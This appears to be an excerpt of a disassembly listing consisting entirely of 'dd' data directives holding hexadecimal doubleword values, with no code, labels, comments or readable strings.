dd 1A0E017Dh, 6991615Bh, 0FB5B20B9h, 0C9703E00h, 99D874ADh
dd 9C1C0095h, 1FA46B96h, 0DC002FF0h, 38B2893Ah, 0BE991Eh
dd 1A923057h, 162B3395h, 93E2601Ch, 81828CFEh, 1170ADCh
dd 50125528h, 0D07EC5AAh, 392E011Ah, 590E5542h, 0E0A920B1h
dd 513AD6B9h, 0DE8790DAh, 0A04C0A8Dh, 271FBA52h, 0D1952804h
dd 0D3C0C566h, 0F8E5871h, 202BDB7Bh, 97A241A0h, 9600A503h
dd 4C8CF4B3h, 3837739Bh, 389F314Ah, 49ED0035h, 0A71F3D24h
dd 3710402h, 5FE4FD5Ah, 81A290C1h, 58676B10h, 0E7D0C7F9h
dd 0F65E00A3h, 5318F70Fh, 0CF037A6Ah, 31F92402h, 0E03000AEh
dd 0A1E3F99h, 5B77F02Ah, 370BF400h, 0AE8C57B7h, 4B652E14h
dd 18D50054h, 622EEDFBh, 5AB9513h, 1247031Dh, 0BEA0888Fh
dd 0F03C7Ah, 0CC55ACE6h, 0B839DDDFh, 3582E200h, 67D9C975h
dd 2C2E3F22h, 0E9450073h, 9EC73A41h, 4DEEE265h, 0A0F4AEF0h
dd 0D7DC10C0h, 4489B5h, 2494FA8Eh, 602F68B7h, 0BF58A000h
dd 0DA935FB2h, 0BC150082h, 0F50EC7AFh, 2E0098C8h, 82F959Ch
dd 0E5C649h, 5C1A40A1h, 0B5484DBEh, 922ADF0Bh, 239C00B7h
dd 99550Fh, 0BDAFDD71h, 0CD0B27CBh, 0C262A301h, 0F2A89CB6h
dd 0D3E3E0h, 0A06DB32Bh, 82B8614Dh, 75006776h, 0B180F1E2h
dd 1DE6EF29h, 0E160FC6h, 4720B759h, 0EB22743Bh, 0E38F8C00h
dd 83B2A1A9h, 7E2EEA2Fh, 0D60400DBh, 0C7037D0Ah, 0E7002219h
dd 0B925D10h, 0FCF05Ah, 7F0FA029h, 7D336614h, 7BBB8800h
dd 9E50F4A8h, 0E12000CAh, 0C14FD56Ah, 210E7123h, 0E7CEC5E4h
dd 0F22A47D7h, 145E500h, 0B15825h, 7AC3FA27h, 40341B77h
dd 1F864A07h, 0DA60B370h, 7AB60A81h, 892307BBh, 51340DB4h
dd 0C0177639h, 0B1F6647h, 81DEC383h, 0EC700640h, 1264D89h
dd 98DACFEh, 0DC6C35AEh, 503DF125h, 0D545A4B0h, 0B2D58339h
dd 0F9655709h, 0E9607AE8h, 8CA51C13h, 0D6734767h, 0C071F792h
dd 5BCCA455h, 3CD9B001h, 9C89F96Fh, 6BB802Bh, 4000C768h
dd 9D755E12h, 3048B72h, 7F949025h, 6B93D3F5h, 0AA2BC0EDh
dd 593B88EBh, 0BE9F80C5h, 0ADAED074h, 0D9BB01C0h, 1202C745h
dd 72F8EC1Eh, 4B170500h, 9B71556Bh, 0B397004Fh, 8AE20389h
dd 410B6C85h, 809AB877h, 45232A3Eh, 4C514897h, 0CA907F00h
dd 0DD389EDCh, 0A7638900h, 0E22CD8A1h, 95C107CDh, 43F44207h
dd 2911C8ECh, 0F0080FE9h, 6104E16Dh, 400243B2h, 0C09F768h
dd 2010293Eh, 0D22B8F5h, 0E24E07B1h, 0BE389FAAh, 3B0862A8h
dd 0B51988EEh, 0D89B4D9Ch, 8F5AB50h, 0E7CA7929h, 8CB6C508h
dd 0D9A17AD3h, 0D11C1084h, 3C9128B9h, 51EB9231h, 29841045h
dd 6BB0D57h, 10F106FDh, 22D9354Ah, 4D530031h, 0E314795Dh
dd 7F00F578h, 0F0EED324h, 0F808163Dh, 9E0E0096h, 0BDA6C34Dh
dd 1096381h, 878F7B43h, 25208DBBh, 0B9FE20h, 0BF613628h
dd 0AA134AAEh, 0A930ED00h, 9DB3F77Fh, 0EAA505ECh, 0C0899047h
dd 0E46C38F8h, 0D60A38h, 0B8CBAD10h, 0FA0F7Ah, 72B3A222h
dd 7FD84717h, 0DA1AE00Eh, 0C728801Ch, 0E804B88Ch, 0B1D43CB5h
dd 7340B400h, 0F47F6010h, 8BE79E00h, 3715662Eh, 36610062h
dd 6DE1A272h, 0E87E4182h, 22462B03h, 58920Fh, 0C77F38E2h
dd 0DD5E1CDh, 28DCB300h, 0EDC026FDh, 0F32900CBh, 953B4FB7h
dd 0E400D8AFh, 1F85E036h, 7918922h, 0DB925A5Dh, 0C8A3B0F1h
dd 0A71ED9D6h, 7380A6C6h, 9D3CC2Eh, 0B82904C0h, 806D5035h
dd 6FBE5B95h, 53DE7F00h, 8A286C90h, 4C9200BBh, 5FB4EAB8h
dd 577C5DD2h, 0DF62E900h, 0F474D488h, 58260038h, 0D17BBFAh
dd 0AA002BFFh, 0B07E8043h, 0B19CCAh, 0A7793A2Dh, 735F644Ch
dd 775D6C00h, 1E096B13h, 49B1CC4h, 0C7374005h, 173AA825h
dd 0F0533Dh, 86937F76h, 0E6D3EA3Bh, 0EFB600F3h, 4A4547DAh
dd 0D09FA04h, 80A8E888h, 0FF221090h, 5B0A1229h, 4F3000A5h
dd 90B1BF8Eh, 0D3744900h, 0D19BF966h, 3717008Ch, 565BAF25h
dd 0FA00B06Eh, 0EC68AA01h, 22546Ah, 5ED78226h, 75F07EE9h
dd 9CD18400h, 2463C23Bh, 73AF6C9h, 0E605FAA0h, 60006FCAh
dd 7FA2C4ADh, 893E2B03h, 888FFE2Dh, 3FC811ABh, 70BEF7h
dd 0E14D9AECh, 34AA0A6Ch, 5ED20F00h, 0B6AC5AC7h, 0D6093F35h
dd 0B34500F0h, 0E63E5FD8h, 93002517h, 35332F7Fh, 85B98Bh
dd 8E66CCF2h, 0F13D0B8Fh, 0DF3C0672h, 766F8097h, 79106E3Ch
dd 83FE50ECh, 627138DEh, 406C1A81h, 0E8951C9Dh, 0D00BFEBh
dd 475E232Eh, 2BCF38h, 0D259106Dh, 941CB333h, 88001C90h
dd 7DBFF227h, 7D4649F0h, 6223008Dh, 0CE7A0E44h, 1B005FA7h
dd 84ADA588h, 0B0B880h, 0BBD73ABEh, 0F32A6B44h, 0E0CAEA14h
dd 670900D4h, 30A7286Ah, 9EB73BB5h, 0B472F200h, 76FA99D3h
dd 2B9E200h, 5EA9CEB2h, 5AB52E90h, 0C0971CAAh, 3D1EBF80h
dd 0FD0365F6h, 62C4B6B9h, 1BB80126h, 53951863h, 5243E0FEh
dd 0DA6BBD01h, 858CA749h, 58189C20h, 0B10019D5h, 0FF9DEC3Ah
dd 3F09A9DCh, 5D1227Eh, 38800549h, 0F4E313F3h, 45C5CEEh
dd 0BCEC700h, 899DB076h, 0DFEF1500h, 12A5342h, 0D28D0073h
dd 1D5972F9h, 0D8392F61h, 801848F0h, 4631C085h, 0A0090E73h
dd 15240CBCh, 0D14809Ah, 0C120640Eh, 0B3390094h, 0FF8265FAh
dd 34787075h
dd 6F0F8A00h, 4B4A7E6Eh, 888E0E09h, 4320F4E5h, 7992D1A4h
dd 581F2004h, 64C58A9Fh, 80D7E00h, 0F8ABCD84h, 6BFA15h
dd 88C0A1BFh, 0B4A8224Eh, 0D1009CFEh, 0A76CBF0h, 8D3553h
dd 1C6FA73h, 0AA63D52Fh, 66418407h, 1610F531h, 30BE88h
dd 0F629EB98h, 37ADECCAh, 90144C00h, 0C212B6FCh, 151303CBh
dd 0C97C28BAh, 201FC5B9h, 0D7018CACh, 85A0612Ch, 7FDC297Eh
dd 5A78000Ch, 0AAE97DAFh, 8300AE30h, 3593F05Fh, 3BD47Bh
dd 0FDD821C7h, 45D774A0h, 9526B87Fh, 0A600E624h, 9AEB04BBh
dd 43D00042h, 60025BB6h, 7D01C08Bh, 2A6572FAh, 0B1E4B045h
dd 0E9FE3Eh, 0A53BEAB7h, 5690342Bh, 0F5138F0Fh, 715C2512h
dd 0FD35C800h, 50F7C0DBh, 6FA4F0h, 16119310h, 5F038023h
dd 15B58400h, 4471B9A4h, 767B7D24h, 7F680076h, 0CFF9AECDh
dd 96389B3Bh, 87A5800Ah, 0C9CB5E05h, 0F054015Ch, 0B4277C37h
dd 728FE410h, 3940E300h, 44BAFE69h, 7649479h, 0C083D361h
dd 766A3A4Fh, 0CA4E0F1Ch, 4E004B12h, 0A3B464E4h, 0C87A0F0Dh
dd 336002FAh, 0B2FF8134h, 7B5CB107h, 0F1C0EF9Ah, 3A21C88Dh
dd 0FD873869h, 0E22E9522h, 0C4400804h, 97718940h, 77986600h
dd 7225DF1Ch, 0F4EE008Eh, 0F7FF6A88h, 4B09961Eh, 4B6DEB2h
dd 44C08339h, 0E3E52Dh, 5DD0F7F1h, 37914327h, 482B8C03h
dd 0A7572A5Fh, 39AE170h, 0D82600DDh, 518D3A61h, 3C00AC99h
dd 82CEF31Eh, 9542C49h, 69E72AA7h, 3461BF0Fh, 80A1FB31h
dd 540D2E9Eh, 3F63E04h, 4D52EF53h, 0A4A64115h, 15A904Ch
dd 3CC2FE35h, 0ABDCE576h, 0A1C0015h, 44C76950h, 240797FCh
dd 28EE2E71h, 947DC130h, 0E0120015h, 0C9CB1FDh, 4C00D05Fh
dd 5A03B95Bh, 184EDA61h, 0C1CE4873h, 0D8009908h, 1666CD5Eh
dd 0E880FFF8h, 0FB910764h, 4BF3A6DAh, 0EFDF9282h, 63E896C3h
dd 2A07F9E8h, 1D9734CCh, 0A53E5710h, 0FDAD0B8Eh, 0A8002615h
dd 1F82B373h, 787E5A07h, 9A004C46h, 979841h, 735AD9Dh
dd 536C6386h, 8217D83Eh, 0E874FBFEh, 5AAA87B6h, 0FBBE04Eh
dd 0E6A8694Fh, 1A6D00F5h, 35A46E7Ah, 53002655h, 5979F925h
dd 0A80309h, 0A90719F7h, 0FC950F99h, 0A2B85700h, 3F04C93Dh
dd 0D4711494h, 5D0084E7h, 0CB29459Dh, 630078A1h, 6C27371Ah
dd 1BB68Fh, 2A62C187h, 0F35990A0h, 66EF4000h, 77D46393h
dd 86F103DCh, 0CBDBEAD9h, 8DCF32C0h, 0B4982124h, 547B093Eh
dd 1158A3EFh, 0D851B329h, 0FC464895h, 906C00C0h, 7DFE4B75h
dd 1507C2FCh, 7ACB082h, 5A9A04A0h, 0BE700D3h, 23AE4FAAh
dd 0F1005B49h, 90C086E3h, 7B7B011Dh, 0D49807B5h, 0B0C60D28h
dd 54E7841Bh, 0A769B800h, 22D241D6h, 3B3E0C8h, 0EEC4AC80h
dd 6EF097CAh, 7F00B459h, 0BC5EC32Ah, 7043DBh, 0BF59A60h
dd 55CD2675h, 0C424B00h, 0EB8A66DAh, 0E2272810h, 1EC1009Ch
dd 4DF5EAFBh, 0D6731968h, 928ADC00h, 56E32CE1h, 0BD74A1h
dd 49653DD2h, 9C5C4E28h, 0C53A2300h, 0C9C30196h, 64D00FCDh
dd 0D754F747h, 1E859C40h, 81C69209h, 511B08E8h, 0BDDCF0D2h
dd 4FD9FD0Fh, 0C0492F53h, 254A70D0h, 968F0047h, 0C1EC8D40h
dd 7500593Fh, 0A2C62F6h, 65FC4Bh, 6F25D231h, 0AB7ABBEDh
dd 48F5C63Eh, 0CBB7B050h, 0BF4C0045h, 55662E72h, 4A00F8B9h
dd 0B2E20359h, 0F2C987Fh, 93EF5839h, 0DB5113E0h, 2B00E3BBh
dd 0AE8F5082h, 1D3E667Dh, 40C388ACh, 0AB15116Ah, 10027CA0h
dd 90B27250h, 0DCF4A0A4h, 0FAF6E1h, 7F8F9F14h, 9E0E9D63h
dd 0AB6F102h, 60B72CB4h, 5856D8FBh, 0BF1C3D6Fh, 577DC599h
dd 0CFCE076Ah, 2DB190F0h, 4118454Dh, 0B6988C29h, 427E3AE8h
dd 1C7F028Eh, 0B4435940h, 0B900C963h, 917592F5h, 3F0D8Ch
dd 541EC877h, 1C08FF45h, 33B80700h, 0C9245DA9h, 0DBF30058h
dd 3E68756h, 0C003EA39h, 0A8730B3Ah, 0C85EE981h, 3F7DB530h
dd 9D006433h, 8D74BBDCh, 21004A58h, 8ADD931Ah, 0EA50B3h
dd 83B89216h, 95995E75h, 82B50B01h, 0FFBBECE0h, 78EA23C8h
dd 63ED146Fh, 0C803AE1Ch, 884A3BA4h, 0F95E1100h, 0F4D57EE7h
dd 0E0C900F5h, 5A9FC87h, 8E030DB8h, 0EF43CA67h, 0A3B5E01Dh
dd 3D270B56h, 4F00B13Ah, 202EB728h, 4848AD73h, 9F830059h
dd 0F960449Dh, 31251252h, 7AAC80A7h, 0D51E9984h, 784009ECh
dd 469CF3AFh, 25F000EEh, 0FA0BE9A7h, 143EB363h, 57681C85h
dd 0A7D8AA09h, 0B937DE28h, 2E59DC50h, 69FE2Fh, 0B74DB8E2h
dd 0DE1B7973h, 0D8D5BE00h, 34589FE3h, 9E2002Ch, 0F013285Ah
dd 47001D84h, 0B75B6B43h, 3C6A9F93h, 518058DFh, 0E727900Dh
dd 0A10B92C5h, 62AFC1h, 670C8F03h, 68F248E0h, 0C67FCA00h
dd 2F9EDB24h, 161DF5Ch, 0CEF1E54Ch, 48C08E0Ch, 0BACB002Ch
dd 1E47E91Ah, 273B6BE4h, 0D1F50010h, 0F3A1D843h, 0D0FE4Bh
dd 488444FCh, 0B7B5CE77h, 9F290A1Eh, 25D1FD40h, 92EE1Ah
dd 0D5019806h, 21BC0EB8h, 80F06D3Bh, 6686DBC6h, 2E3199h
dd 0A7C1E43Ch, 0B5E8605Bh, 4391BD01h, 34ED62D7h, 31ABA440h
dd 0CC9833h, 0EBC6B161h, 0D2838039h, 532F9300h, 58E07246h
dd 12771EA2h, 0EB450255h, 7402D51h, 3E00C2A6h, 65AC33A4h
dd 112CABh, 0F86614EFh, 928FB2ECh, 3B649B00h, 9A177C6Ch
dd 0FB4E3EACh, 25A68900h, 9130FEF0h, 0A4BB4930h, 0E0993Dh
dd 2B838E8Dh, 0BC4B01F8h, 58972800h, 3BC9B686h, 4A2C006Fh
dd 0BF78B75Eh, 8A26EE0Ah, 7C0F428Eh, 765A203Fh, 0F294482h
dd 6C71DC0Ch, 0F11CABA0h, 0E800CE9Ah, 0EA4BBF93h, 72F2BC55h
dd 84F300CCh, 97CFDCA7h, 3A381411h, 0FEA801F1h, 800B6269h
dd 5B403A30h, 556200FAh, 392F794Fh, 7F003BF0h, 7B5FC79Ah
dd 76EBD821h, 0E43E00DDh, 0C6B4B399h, 0B00FD20h, 8C564BF7h
dd 58BD1Eh, 49DA9544h, 9B53E467h, 1C9F6A00h, 0B57D65ABh
dd 0BB2B1CFEh, 7ADAC088h, 0A91032D7h, 0F83CE613h, 0DD1FE800h
dd 0F4A6BCB4h, 62790082h, 907AC871h, 2C1C089Eh, 0FD09DDA9h
dd 8F018261h, 7CCD03Fh, 22F8E0DFh, 6BFB9066h, 5800F305h
dd 82985DD1h, 90B9A443h, 7EAB05CEh, 809052A2h, 0DF119E52h
dd 8D9CD300h, 216CB9A1h, 94BC0FF1h, 6280076Fh, 81C19F6Dh
dd 183F7E03h, 808B0EB1h, 61C43EDh, 6A653A7Bh, 4E002C83h
dd 0F24751CDh, 0FCC6E92h, 0EB763D55h, 27FF8120h, 93007D33h
dd 93BF50Dh, 0BECB5Fh, 0DF07E6E3h, 61558168h, 6BF3B800h
dd 3E1226AAh, 0BC5F00DCh, 423AC6A7h, 52045AF9h, 23BA5EF5h
dd 78B33880h, 0B1C30044h, 0AD748D82h, 0DD1F81AEh, 0A5C7FB26h
dd 0B1063D2h, 50689CF8h, 76E1F2h, 5980CD78h, 7EC7F21h
dd 3054E70h, 0E41CCF5Dh, 6EEA80BBh, 0F05CF7C3h, 5E4C8738h
dd 6AE2D4D0h, 0D04A01h, 0AA7D8B6Ch, 4A05CBF7h, 104FDB66h
dd 0CF1C9D80h, 88F80011h, 84CEA84h, 0D0FBFBEh, 20B22E32h
dd 529995E7h, 245CBA68h, 26B77C64h, 0DB540062h, 2F4D6607h
dd 6AE0CA00h, 2C262AE1h, 0DAD20EF4h, 1820405Eh, 85A603ECh
dd 62411500h, 0ADABBEA2h, 0D33E0371h, 4E47E84Ah, 0E36AF6B0h
dd 7CEC6D00h, 9101B568h, 91135854h, 7104B801h, 0C00D2351h
dd 1C008E12h, 0C14BF086h, 3B6AE948h, 0DA80A93Eh, 0D7FE0AC8h
dd 0C3FFF06h, 0E26B8015h, 0C62BFCEAh, 8BD40082h, 0B30873DBh
dd 3F0FCE53h, 0C0D63849h, 15472336h, 734C002Eh, 2BFA6655h
dd 0B148130Dh, 0E30F784Dh
dd 61689A65h, 2C86E037h, 2C9442D0h, 269B220h, 0ECA36BD7h
dd 53A06C60h, 0FDF43Dh, 2AF0C3BBh, 0B9DA7Dh, 42B4A949h
dd 0F9430C1Eh, 6E9C0300h, 0F74EC6BBh, 0BE621689h, 849C802Ah
dd 8A0045D7h, 0F11A5336h, 0F568763h, 0AD7AF243h, 3141E5h
dd 5DEE1FBCh, 0EA00A1D6h, 0C351DC6Eh, 1336805Ch, 423011Bh
dd 0C0BE6C31h, 0C10ACE08h, 1E248200h, 374402D3h, 0DF780053h
dd 0D512A210h, 55FCD94Eh, 79BEF702h, 60D2630Ch, 57F850h
dd 0E225906Eh, 0FC421073h, 0EEB97C00h, 0E7B44775h, 9F3B0167h
dd 0DF666BC9h, 0A0DF44A9h, 7225EEFCh, 27B0B42Fh, 12F0223Ah
dd 0D72E1B1Fh, 7D354AC0h, 2054FF8h, 0FDC9ACF9h, 1C03466h
dd 0B24CC714h, 0B9BB0050h, 1E285106h, 8D712695h, 9889B98Ch
dd 6809321h, 906692FDh, 5B84201Eh, 0FA4BEFC0h, 0EC27EB99h
dd 0E6B15C33h, 5E4D4801h, 50803D43h, 2C383BF4h, 7A845C01h
dd 64350699h, 75E123F8h, 45D900FDh, 0B95C83F0h, 42007DB8h
dd 35BA5444h, 0E19899h, 0A22E1AEEh, 0A55E0D31h, 66008874h
dd 74720910h, 0EC0405AEh, 6E73070Eh, 21C401A4h, 0CF25853Dh
dd 0A8C7ACD8h, 3184D200h, 0AA09E5D7h, 0CCFE46h, 5A47E097h
dd 1F74811Bh, 632DE300h, 5E7DCA30h, 0E4AD7E65h, 5F00B656h
dd 0F0F01190h, 812E6AA7h, 91408044h, 840B17h, 5E1503A0h
dd 0DF37A54Dh, 42E953Dh, 456A06C0h, 9DF07080h, 34173FC4h
dd 2B0C2D07h, 0EEB81046h, 0E800FBFEh, 0DF24A70h, 2C80E0h
dd 0A6DE6FCDh, 954109C0h, 0B1EDEC07h, 0FD30A096h, 0B8B985Ah
dd 183CF6EFh, 306AE707h, 2F2A124Eh, 0DED7F407h, 0C262A7B6h
dd 72C44092h, 0A0344936h, 9501A838h, 0CDFA370Bh, 38D881C5h
dd 0EFFCBC8Ah, 278570h, 0CE5293E0h, 26D8A892h, 0C8AE2E00h
dd 0EC8A37C0h, 5EDB00AFh, 0AB3938Bh, 92017928h, 0C221D343h
dd 42D4F67Ch, 58C9E252h, 400081CBh, 2AEFA51Fh, 2F001CC0h
dd 0A4828460h, 3751636h, 0B1885835h, 70B787E7h, 784D19CDh
dd 737C8100h, 0D3C121E8h, 38E8CFh, 0E6F935C0h, 0A3D2F764h
dd 87746200h, 0EF367348h, 0B57483h, 21F0F67Bh, 0B0942AB9h
dd 0DCC8AC02h, 58CA4A13h, 0F9894C8h, 6884D4B8h, 8C1EC054h
dd 12002266h, 9639C280h, 4C878D4Fh, 56003E0Fh, 0A951505Ah
dd 210E26D0h, 60636055h, 0A47B2213h, 0BAC65CAFh, 8464B000h
dd 26485C12h, 977EB81Eh, 0DDACC0C0h, 0C6BCE8h, 758580F3h
dd 3144865h, 0FA0FF57Ah, 0BDF75Bh, 9840C75Dh, 7EC90C0h
dd 522F13F0h, 0D6F53054h, 0C80B7BD8h, 0FB0EDFh, 3993554Eh
dd 5A2E0507h, 0E1D265h, 0F6AA86DCh, 58035137h, 829F1398h
dd 60A58247h, 185E40h, 0DE508C4Ch, 4D44ADC6h, 9E263300h
dd 743488ABh, 2CA80163h, 1F7D29E8h, 4052E11h, 0D4C0CE9Dh
dd 0F403566Fh, 0DC00053h, 4CD7C4Ah, 54772287h, 8503C673h
dd 39BDAF7Fh, 0F374D86Dh, 35200E4h, 0C11AAACCh, 167A6954h
dd 6C62A800h, 0C56FFB32h, 0AF030086h, 7E3B710Dh, 900017FCh
dd 49BACAD8h, 6ADDBDh, 47D6467Ah, 0EABB75DBh, 5B09A50Fh
dd 7FC9E0FCh, 1393F737h, 0B5FF91h, 0A0BC9AE0h, 0D500C230h
dd 0DB9F9B32h, 0FCF420Ah, 4877196Ch, 88DA1F60h, 4926E961h
dd 0E11FAAD4h, 43C8400h, 3FFCF4C9h, 0AD80B54Dh, 0CED1E5EBh
dd 910F8B4Eh, 8E810D1Bh, 9F2862CDh, 0B8FC680Ch, 0E834AD1h
dd 5940AD50h, 0F65BDD0Bh, 90FDE400h, 0D9DED109h, 33DF0AFh
dd 100CDC54h, 96988F80h, 820020E5h, 0C269EDB2h, 0A4F8C1h
dd 0E23B98EAh, 0A1A69AB4h, 430248h, 0B6892B39h, 5C9C371Ah
dd 4051A5B7h, 0A5020032h, 2F23A243h, 0AE35140h, 0FBE69E0Eh
dd 0F7E580C3h, 3E25B36Fh, 1B2A773Bh, 2C59E4E8h, 0D0B943h
dd 551926C1h, 8E0087C8h, 71938AC9h, 7D6BE6B7h, 0CAD300F4h
dd 0FB725DD2h, 0AE28ED5Eh, 890AAA25h, 0D72F6CDBh, 947E1600h
dd 0A6915Ah, 76627283h, 0C1B2DCD8h, 71207817h, 1681C440h
dd 1D7CA6A4h, 0C0734185h, 956D919h, 0D50024C0h, 8D9508E3h
dd 1CFF4D1h, 3A9B0BA0h, 0E01F8EE0h, 0CE0E0E9Ch, 87A554A4h
dd 0B1B15AFCh, 34203665h, 0A2C600EAh, 0DADD3079h, 1203F911h
dd 0CC6DEDA6h, 3E82C041h, 31B7183h, 68AACBCh, 308F745Bh
dd 6F270935h, 0BF991700h, 987D7A69h, 0EEDE0096h, 0F68B6553h
dd 5F0087C3h, 0FB833041h, 909DE957h, 6B163CC0h, 409BD19Ch
dd 337FE463h, 0BD1E8E66h, 314036FCh, 7A89274Dh, 349EBFh
dd 760D3EC9h, 4800D78Dh, 0A290D124h, 0AC7483h, 0F2C20FE4h
dd 0AF70308h, 0C4C58424h, 25809E1Fh, 0D83CAF38h, 72622E61h
dd 0A41C81A4h, 80F601C8h, 0A1A99628h, 0BAA0179Dh, 9C6500C8h
dd 4E54D252h, 7100E026h, 0DE2D691Dh, 0F2BF70EDh, 41F4D8h
dd 0D13405E3h, 0EEDB1B5Dh, 813FA501h, 6D52E092h, 0F63CFCh
dd 5BFF8874h, 60BC576h, 6C11A303h, 0F0F32395h, 1E3DDBA6h
dd 72EDC1h, 1A5D3E09h, 0C50454A3h, 774F4D0h, 0A76B9CD0h
dd 0F0674EAh, 4DCD10C9h, 5E1B5540h, 1A079CC2h, 32C585E1h
dd 0DBC0AE37h, 24676C0h, 97FDFA8h, 784016A0h, 0EC004791h
dd 41D59CEh, 0D5C301h, 0B6813049h, 357CD07Ah, 1E70C39h
dd 797E6572h, 0A06ACB61h, 76002D83h, 9A3A137Ch, 6DE127h
dd 0F3B3F04h, 0F0F8A735h, 0F625BF17h, 27B5E400h, 12E4E610h
dd 803DF71Bh, 3C72D44Ch, 0EB02F5Ch, 61209BB7h, 0CD054C3Ah
dd 5D3D70h, 8F755012h, 60AA062Ah, 0B5B3E00h, 8DB807A4h
dd 0B9C303E8h, 0D6D7E33Ah, 0FC4FFE89h, 6A12B475h, 0A8807C61h
dd 0D52308h, 3C07961Bh, 76C80D95h, 6322C400h, 4C034A68h
dd 884950D6h, 1C5401BBh, 0AC1BA929h, 5CD1D38Fh, 0C92C703Bh
dd 130B0400h, 79BEC273h, 2E28002Bh, 0C87F0EEBh, 4000184Ah
dd 0B38FBBA1h, 30CAFCh, 905865F8h, 69127A82h, 961E0900h
dd 8A2C0AC3h, 0DFE23AFBh, 332DCA00h, 0F3376714h, 1FE59913h
dd 77F6AC00h, 0CB5C2Fh, 0D0E3448Dh, 40FB2D4Dh, 800F4B3Fh
dd 736A97E9h, 0C6A0ABh, 9F2A590h, 0BDB026F4h, 39CB1500h
dd 9D8E8F86h, 87D7005Bh, 6E3DD18h, 3D243A25h, 28000910h
dd 81507D6Bh, 34C10391h, 796A9BD4h, 0FC46E80h, 30241000h
dd 42CD610Ch, 0EAE300CAh, 361911AEh, 0ED0035BAh, 0BEF2063Eh
dd 0A7DB3Ah, 0FFE3E46Dh, 201D2B9Fh, 0C33058h, 0CC823570h
dd 203C09Ch, 68663B2h, 0A960AF01h, 18B0A94Dh, 31D343Bh
dd 56458962h, 40FCAAA7h, 3F1FE86h, 99BD6987h, 9CD0F994h
dd 0BF000471h, 141EB3D7h, 0DD4DB1h, 0C8DAE6B6h, 84F25889h
dd 0D35F4614h, 62EA24DDh, 88157F00h, 778F1F1Dh, 75110047h
dd 9BB53A67h, 35004F71h, 0D0C9E072h, 0B81AFFh, 0EB56B60Bh
dd 8C09DA31h, 0DE0AA715h, 9B0D0FD3h, 80D84035h, 69A6F9h
dd 5E8EAFD5h, 0DC0E3AB6h, 81B97F01h, 4D36D2CEh, 0A432F4h
dd 0A67D0D8Ch, 0AB93CC3Bh, 57ADAF0Fh, 5EE8034h, 0B815E0A5h
dd 275D0E3Dh, 2EE00BE3h, 833CC33Dh, 457BB1Ch, 0ED56A740h
dd 1824133h, 0DD8469Ch, 0DC36E6EBh, 6D00256Ch, 0B8C4E4D5h
dd 2DACA464h, 14F8424Eh, 0A90083EEh, 8BD72007h, 0FA759D48h
dd 1FA77317h, 5C9B9Fh, 8119681Dh, 16077904h, 0C5318BA0h
dd 0D8541BD0h, 0C4F7003Ch, 0F923307Dh, 74001E7Eh, 0C82C6FC9h
dd 0DA5C02h, 686518DCh, 24283FCFh, 780A1F00h, 0EAB62A13h
dd 2DE939CEh, 0F487EB27h
dd 8B500199h, 3E3880DEh, 0D338AB6Dh, 68FB0F1Eh, 39A0E16Ah
dd 4E990863h, 80726439h, 50F70A21h, 1CCBF2B9h, 819ECAh
dd 78E303E0h, 0F3009787h, 52DF1EE2h, 376D663h, 0CF81A7BDh
dd 0CCA37F83h, 0FC680DFh, 8A1F4A3Ch, 0E4008852h, 0CEC41FA0h
dd 0E6923702h, 96DE60A0h, 0D5016AE2h, 0D2A7DC2Bh, 5ED0DD86h
dd 18CF6D6Eh, 0E431E059h, 0BF0034FCh, 451A8AAh, 0EE3F3D7h
dd 6AA1E196h, 0A83CDA0h, 0EFE2B75Bh, 0B5615BB8h, 16804E89h
dd 800EDE7h, 78FCD96Ah, 984F00CEh, 0BD81B084h, 0C7029A71h
dd 0D9DB54C2h, 80548038h, 3A4E685Bh, 0BC145624h, 3CC0643Bh
dd 0D89BC7A4h, 0DDE48404h, 0A5C0017Ch, 0F9D8905h, 36EC0214h
dd 8A60D0EEh, 9288C6FCh, 34F07902h, 0E0B6D577h, 7144B3Fh
dd 157006EFh, 3337F0DAh, 0D7070C24h, 820F3E5Bh, 38E4F360h
dd 0EA3C1FA8h, 1D9F80FDh, 6162C8A1h, 710B1300h, 2B6F5294h
dd 776A0155h, 35B15831h, 0A35FC4BFh, 0DD646500h, 230DEBAFh
dd 472D034Ch, 53253977h, 0D9002EE6h, 0A18B85C1h, 1B04640h
dd 0B8F96A05h, 0C0625AEDh, 44075E24h, 59E6F5E5h, 6986E9F0h
dd 8E2D0F9Eh, 882011B2h, 607533F0h, 0CC79CF00h, 7B0DF501h
dd 8515011Fh, 0D5F676BEh, 80A9706Dh, 60894300h, 620681E6h
dd 0B6362C8Ah, 3A2D0063h, 0A0AD4164h, 1D034401h, 308099B1h
dd 0F46E0C4h, 248F3468h, 2FB8DE20h, 27037B6Eh, 6B70D163h
dd 0E084A0B9h, 9486310Dh, 8C335E69h, 1108BBD8h, 47671CDh
dd 7519AC69h, 0FE4280FAh, 20C026E7h, 0F1A68D21h, 0AAE90E50h
dd 24E3DFE5h, 96B02F15h, 9973DE8Eh, 47D99205h, 8B1EA4E2h
dd 34EDD40h, 605143h, 3672B159h, 0B03714C0h, 687FEF00h
dd 0C6632BEAh, 3AB50732h, 0E0B8D073h, 96A8D3A4h, 0C54798C0h
dd 8C425h, 52587202h, 2F8B2B35h, 26306B00h, 22C56238h
dd 466519FBh, 0EC338AE3h, 8D0E6729h, 58E13BD5h, 0BE6F91h
dd 347D1542h, 876BED1Fh, 0A8C9CF04h, 2D82D89Fh, 97A44035h
dd 1FEE7927h, 40056283h, 4C0B542Ch, 7F72BA75h, 30A15C07h
dd 0A2C0C521h, 73EF7EDh, 0D6B87E04h, 9C9F4303h, 72A52001h
dd 0C468E585h, 1A055E0h, 7B42FD9h, 20B080A6h, 3E00430Ah
dd 0C6D80E42h, 0FE86ACh, 0C9F6F946h, 0EA73B8D7h, 0F3527200h
dd 0BA09B00Ah, 0A18E0041h, 9E9212D8h, 21000FD9h, 69D32B64h
dd 3AE2302Fh, 6E3E565Dh, 0FED96500h, 0D8EC940Fh, 5169EF00h
dd 0F34FE410h, 553E078Eh, 867E53C0h, 6500B09Dh, 0A9847894h
dd 0DB2FBAh, 9223E0F6h, 413D7544h, 6822F909h, 314C0CA8h
dd 37DC0079h, 0D144F37Ah, 56063A5Ch, 35E85B5Eh, 5D60FB20h
dd 276A00A5h, 81F387C9h, 8C0C0DC3h, 387EC6E1h, 0B0F000CAh
dd 57E3228Bh, 4F09AA1Ah, 80ABD3F8h, 0B341A4BFh, 82EF1CBEh
dd 80511DE5h, 9C013A2Ah, 0E800D970h, 6F37A550h, 0EFD0D9Fh
dd 457233E7h, 60C7932Eh, 0A5E3D066h, 0BB00EB61h, 0B3ACC15Ah
dd 0E8BDCB30h, 32B10019h, 4B8B9447h, 0DDB858E8h, 7AD89D13h
